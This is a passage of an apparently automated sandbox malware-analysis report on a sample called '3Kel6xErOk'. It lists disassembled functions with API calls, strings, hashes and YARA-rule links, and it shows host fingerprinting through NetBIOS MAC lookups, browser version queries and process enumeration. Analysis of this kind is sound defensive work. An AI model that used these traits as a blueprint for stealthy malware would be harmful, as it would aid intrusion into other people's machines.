Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: QueryValue$FileInfoVersion$Sizelstrcpywsprintf
String ID: CompanyName$FileDescription$ProductName
API String ID: 3048008207-1224206804
Opcode ID: a8c7f44fa575f10508b8ab5969d0dac4d3d38b56c2f23963310c8f819e7068f1
Instruction ID: dbc1801f19694ea52b76548e87883cc1959bfdae35691355d012d6c5c6fa3d6e
Opcode Fuzzy Hash: a8c7f44fa575f10508b8ab5969d0dac4d3d38b56c2f23963310c8f819e7068f1
Instruction Fuzzy Hash: 6A313275A00205ABDF04DF95D885AEE77B9EF0C310F04516AEC49EB346EB34DA14CBA5

Function 0046B100 Relevance: 10.6, APIs: 7, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0046B134
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0046B16D
construct.LIBCPMTD ref: 0046B174

Part of subcall function 004047C0: construct.LIBCPMTD ref: 004047DC

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0046B19C
construct.LIBCPMTD ref: 0046B1A3
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0046B1CB
construct.LIBCPMTD ref: 0046B1D2

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWorkconstruct
String ID:
API String ID: 3904939386-0
Opcode ID: dd628839e7eaa6e95fe938764c3051e680d6f96dd307ad92b1a04c8ba00f5cae
Instruction ID: 73ea5bd7411136e27ea4ccc71b2ee84ba1a86de4a112fb970b80fd491c1014ba
Opcode Fuzzy Hash: dd628839e7eaa6e95fe938764c3051e680d6f96dd307ad92b1a04c8ba00f5cae
Instruction Fuzzy Hash: 943158F5D001499BCB04EBE5D8529EFB7B9EB44308F10052FE505A7281FB39A94087E6

Function 00433AE5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00433AEF
Netbios.NETAPI32(?), ref: 00433B44
Netbios.NETAPI32(00000037), ref: 00433B78
Netbios.NETAPI32(00000033), ref: 00433BDB

Strings

3, xrefs: 00433BAB
%02X%02X%02X%02X%02X%02X, xrefs: 00433C30

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Netbios$H_prolog3_
String ID: %02X%02X%02X%02X%02X%02X$3
API String ID: 3215286430-847158874
Opcode ID: 4029f24157ee2536efc4afec79b10e3834bcaa887dae4acf2852f5ec2561a4e7
Instruction ID: 8870b47996adad0ac055f5832ec3ccee1babfc687c4dd930b3b1f3883c1094c3
Opcode Fuzzy Hash: 4029f24157ee2536efc4afec79b10e3834bcaa887dae4acf2852f5ec2561a4e7
Instruction Fuzzy Hash: 9F3184A1D042AC6FDF739B608C41BDEB7BC5F0A704F0400DAA1D8B7182DA785B858F65

Function 0046B240 Relevance: 10.6, APIs: 7, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0046B274

Part of subcall function 0046B880: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0046B88A

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0046B2B2
construct.LIBCPMTD ref: 0046B2B9

Part of subcall function 004047C0: construct.LIBCPMTD ref: 004047DC

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0046B2E6
construct.LIBCPMTD ref: 0046B2ED
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0046B31A
construct.LIBCPMTD ref: 0046B321

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWork$construct
String ID:
API String ID: 1998173831-0
Opcode ID: 2c98696f9ce80c4bf29520185d69c17473219a45d78480f1f245b9179551122d
Instruction ID: 1a923ee465cc805d4228b43594be72206893c98304461cc302b982e6e65c8abe
Opcode Fuzzy Hash: 2c98696f9ce80c4bf29520185d69c17473219a45d78480f1f245b9179551122d
Instruction Fuzzy Hash: 9431F6F5E001099BCB04EBA5D952AAFB7B9EB44718F10053EE505F7281EB39AD4087E6

Function 00430840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,00000000,00000000,00000104,00000104,0000000C,CC27C0CB), ref: 004308A3
PathRemoveFileSpecW.SHLWAPI(00000000,00000000), ref: 004308B4
PathAppendW.SHLWAPI(00000000,00000000,node.dll,?,0000000C), ref: 004308E4
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00430909
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00430918

Strings

node.dll, xrefs: 004308D4

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Container_base12Container_base12::~_FilePathstd::_$AppendModuleNameRemoveSpec
String ID: node.dll
API String ID: 3164929489-2641712820
Opcode ID: 9746f5e1125bc6abb72543a6118fe1f7307501d2f93d4af18dccd56c024f33e1
Instruction ID: a95c729d781788099aec350098d79ae5a6b8c1c2de6dee7b8c09a3c441563a38
Opcode Fuzzy Hash: 9746f5e1125bc6abb72543a6118fe1f7307501d2f93d4af18dccd56c024f33e1
Instruction Fuzzy Hash: 8D213D71E00208ABEB04EFA1EC56FEEB778EB14B14F54422EF511A61D1DF782604CB99

Function 0043362C Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 66COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00433636

Strings

3.02, xrefs: 00433678
Software\Microsoft\Internet Explorer, xrefs: 0043365C
svcVersion, xrefs: 004336BA
Version, xrefs: 004336F3
3.02, xrefs: 00433701

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: H_prolog3_
String ID: 3.02$3.02$Software\Microsoft\Internet Explorer$Version$svcVersion
API String ID: 2427045233-1681991501
Opcode ID: 68bc0d7a80dbbfcdddeb28f2d62f9f3208ada304cd96e9fa9a10c597d103bb1b
Instruction ID: 84fc666504cb57e96382eec87538ea14254b0eede21291f4aece60be94609536
Opcode Fuzzy Hash: 68bc0d7a80dbbfcdddeb28f2d62f9f3208ada304cd96e9fa9a10c597d103bb1b
Instruction Fuzzy Hash: 1B2115F1A4021CA6EB10DB518C41FEE72BCAB58709F4454AFF605E2142DB789B85CA9D

Function 0043A6BF Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63stringCOMMON

Download Yara Rule

APIs

VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,00000000,?), ref: 0043A704
wsprintfW.USER32 ref: 0043A72A
VerQueryValueW.VERSION(?,?,?,?), ref: 0043A74A
lstrcpyW.KERNEL32(0043A690,?), ref: 0043A75B

Strings

\VarFileInfo\Translation, xrefs: 0043A6FD
\StringFileInfo\%04x%04x\%s, xrefs: 0043A724

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: QueryValue$lstrcpywsprintf
String ID: \StringFileInfo\%04x%04x\%s$\VarFileInfo\Translation
API String ID: 209441233-2466519063
Opcode ID: 09f404468283473edad93a7329534d0d2fd81b58c4f85f3d08385ceb9e1eac13
Instruction ID: dedd835e35e49a32c5dccc2d6a057bfe722395f5c2db125bb8815ef993ffcd64
Opcode Fuzzy Hash: 09f404468283473edad93a7329534d0d2fd81b58c4f85f3d08385ceb9e1eac13
Instruction Fuzzy Hash: D811607260021AAFDB219F54CD85EFBB7BCEF09700F1410A6B989D3250DF349A549BA1

Function 0046B530 Relevance: 10.6, APIs: 7, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0046B550
type_info::name.LIBCMTD ref: 0046B557
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0046B575
type_info::name.LIBCMTD ref: 0046B57C
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0046B59A
type_info::name.LIBCMTD ref: 0046B5A1
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0046B5AF

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWork$type_info::name
String ID:
API String ID: 4123023048-0
Opcode ID: 8483be1a68d9c6aea23713c047a72ac21b51e00c7f9e2332e573fcfe37c2737b
Instruction ID: 241961b9664f871a4f0fb20bd4f8c16e04aa6f0bd9d4a995a1d6e62087194a5f
Opcode Fuzzy Hash: 8483be1a68d9c6aea23713c047a72ac21b51e00c7f9e2332e573fcfe37c2737b
Instruction Fuzzy Hash: E101E1E5E0010C67CA44F7B6EC5399F33699B9434CF04493EB506E7242FE39EA5096DA

Function 032AA067 Relevance: 9.3, APIs: 6, Instructions: 301COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 032AA071
wsprintfA.USER32 ref: 032AA100
wsprintfA.USER32 ref: 032AA423

Part of subcall function 032A8B95: __fassign.LIBCMT ref: 032A8BA8

_wprintf.LIBCMT ref: 032AA19F
std::_Xinvalid_argument.LIBCPMT ref: 032AA3FF
OutputDebugStringA.KERNEL32(?,?,?,?,?,?,10017380,000000FF), ref: 032AA439

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: wsprintf$DebugH_prolog3_OutputStringXinvalid_argument__fassign_wprintfstd::_
String ID:
API String ID: 2279894289-0
Opcode ID: 3497b7195cda61148555650dbdf71ca7da6f6a0dc9df4403e6f0026ca4a87f2b
Instruction ID: 3ce5eb1f530ae7928fa232079ae3f1c05f5c7903a8d6615832e3e50cca25a49a
Opcode Fuzzy Hash: 3497b7195cda61148555650dbdf71ca7da6f6a0dc9df4403e6f0026ca4a87f2b
Instruction Fuzzy Hash: 62C14C36D2465D9BCF22DF68CC80ADDBBB8AF04300F5484AAE949AB141D7709BC9CF51

Function 00409AF0 Relevance: 9.1, APIs: 6, Instructions: 125windowCOMMON

Download Yara Rule

APIs

Concurrency::details::HardwareAffinity::operator!=.LIBCMTD ref: 00409B4D
Concurrency::details::HardwareAffinity::operator!=.LIBCMTD ref: 00409BBA
SetFocus.USER32(?,00000000,CC27C0CB,00408D68,00000007,?,?,00000001), ref: 00409C29
GetFocus.USER32 ref: 00409C31
GetWindow.USER32(?,00000005), ref: 00409C50
SetFocus.USER32(00000000), ref: 00409C57

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Focus$Affinity::operator!=Concurrency::details::Hardware$Window
String ID:
API String ID: 1633904830-0
Opcode ID: 2699ed14baa19d806914d2377d737268e950a10b21bdf93e14d5b7b9e4a591ed
Instruction ID: 4291ee624f14cba7e08cad1a5589bd7b7e47ea53ef9fd21507703ead70dcc1c3
Opcode Fuzzy Hash: 2699ed14baa19d806914d2377d737268e950a10b21bdf93e14d5b7b9e4a591ed
Instruction Fuzzy Hash: CD412BB4A002059FDB08DB94C996BBFB7B5FF49314F10416DE606AB3D2DB34A940CBA4

Function 0042BE50 Relevance: 9.1, APIs: 6, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0041CDB0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0041CDC1
Part of subcall function 0041CDB0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0041CDCE

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0042BE73

Part of subcall function 0042BF50: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0042BFE2
Part of subcall function 0042BF50: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0042BFEE
Part of subcall function 0042BF50: char_traits.LIBCPMTD ref: 0042BFFA
Part of subcall function 0042BF50: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0042C02A
Part of subcall function 0042BF50: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0042C036
Part of subcall function 0042BF50: char_traits.LIBCPMTD ref: 0042C03F

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0042BEF5
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0042BF01
char_traits.LIBCPMTD ref: 0042BF0D
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0042BF20
char_traits.LIBCPMTD ref: 0042BF29

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWork$char_traits
String ID:
API String ID: 1941806930-0
Opcode ID: 9251f217666740593f8b3d3be7a6d916488a241774a5611a4a8b995ad8543da1
Instruction ID: fb5389e868a58675e3ed8212829ca732303a9f2f37490000170377555066af7b
Opcode Fuzzy Hash: 9251f217666740593f8b3d3be7a6d916488a241774a5611a4a8b995ad8543da1
Instruction Fuzzy Hash: 7B310EB5A00108EBCB04EFA5ED92EEE77B5AF84304F10456DB5059B291DB34AE40DB98

Function 10001030 Relevance: 9.1, APIs: 6, Instructions: 85comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 10001050
CoCreateInstance.COMBASE(10018278,00000000,00000001,10018268,?), ref: 10001072
lstrlen.KERNEL32 ref: 100010AB
_memset.LIBCMT ref: 100010E0
MultiByteToWideChar.KERNEL32(00000000,00000001,?,000000FF,?,00000104), ref: 100010FF
CoUninitialize.COMBASE ref: 10001131

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: ByteCharCreateInitializeInstanceMultiUninitializeWide_memsetlstrlen
String ID:
API String ID: 2586284713-0
Opcode ID: a5b21abc51d70361f0c4bdfd237f2ad48ce2c1a6c487fa7abf31cdbc4d6691fd
Instruction ID: 643029faf5a280c88e49533a5ea94790e45b7ec269e2751bbc5c19a93816d1a2
Opcode Fuzzy Hash: a5b21abc51d70361f0c4bdfd237f2ad48ce2c1a6c487fa7abf31cdbc4d6691fd
Instruction Fuzzy Hash: 603108B4A40228AFEB10DBA4CC8CEDA77B9EF59740F104598F519DB251DB709B81CF60

Function 032A1034 Relevance: 9.1, APIs: 6, Instructions: 85comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 032A1054
CoCreateInstance.COMBASE(10018278,00000000,00000001,10018268,?), ref: 032A1076
lstrlen.KERNEL32 ref: 032A10AF
_memset.LIBCMT ref: 032A10E4
MultiByteToWideChar.KERNEL32(00000000,00000001,?,000000FF,?,00000104), ref: 032A1103
CoUninitialize.COMBASE ref: 032A1135

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: ByteCharCreateInitializeInstanceMultiUninitializeWide_memsetlstrlen
String ID:
API String ID: 2586284713-0
Opcode ID: a5b21abc51d70361f0c4bdfd237f2ad48ce2c1a6c487fa7abf31cdbc4d6691fd
Instruction ID: 12fe862a3f7b743417cc74a7b0e3764e010195953f8fbc950c4f09db21c29ebb
Opcode Fuzzy Hash: a5b21abc51d70361f0c4bdfd237f2ad48ce2c1a6c487fa7abf31cdbc4d6691fd
Instruction Fuzzy Hash: AF3108B4A40628AFDB10DBA4CC8CEDAB7B9EF59710F1045D8F519DB250DB70AA81CF60

Function 0040E4C0 Relevance: 9.1, APIs: 6, Instructions: 73COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0040E530
GetDeviceCaps.GDI32(?,00000058), ref: 0040E543
GetDeviceCaps.GDI32(?,0000005A), ref: 0040E552
ReleaseDC.USER32(00000000,?), ref: 0040E561
MulDiv.KERNEL32(?,?,000009EC), ref: 0040E576
MulDiv.KERNEL32(?,?,000009EC), ref: 0040E591

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 48122f7aadb3bc405439f98b1d8108f898a2ca3882c1ff4cf78cadaa5c629e31
Instruction ID: a6ff282810ced2ddc19129df53675f675cf3079e26f91ef39c69014052e9412c
Opcode Fuzzy Hash: 48122f7aadb3bc405439f98b1d8108f898a2ca3882c1ff4cf78cadaa5c629e31
Instruction Fuzzy Hash: E5214DB4900209EFDB10CFA1C849BAFBBB5EB54305F10C56AF905AB380DB789A51CF95

Function 100017FE Relevance: 9.1, APIs: 6, Instructions: 51processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 10001821
_memset.LIBCMT ref: 10001836
Process32FirstW.KERNEL32(00000000,?), ref: 10001850
lstrcmpiW.KERNEL32(?,?), ref: 10001865
Process32NextW.KERNEL32(00000000,0000022C), ref: 10001877
CloseHandle.KERNEL32(00000000), ref: 1000188A

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memsetlstrcmpi
String ID:
API String ID: 2129496168-0
Opcode ID: c5a9032939595190b898ad5427888ca66ad21a98790668b7f26350e3c35d2074
Instruction ID: 48be9d534c6f7ae1162ece858ad7ff7c85b295601d6015b5433e981284ae0b0a
Opcode Fuzzy Hash: c5a9032939595190b898ad5427888ca66ad21a98790668b7f26350e3c35d2074
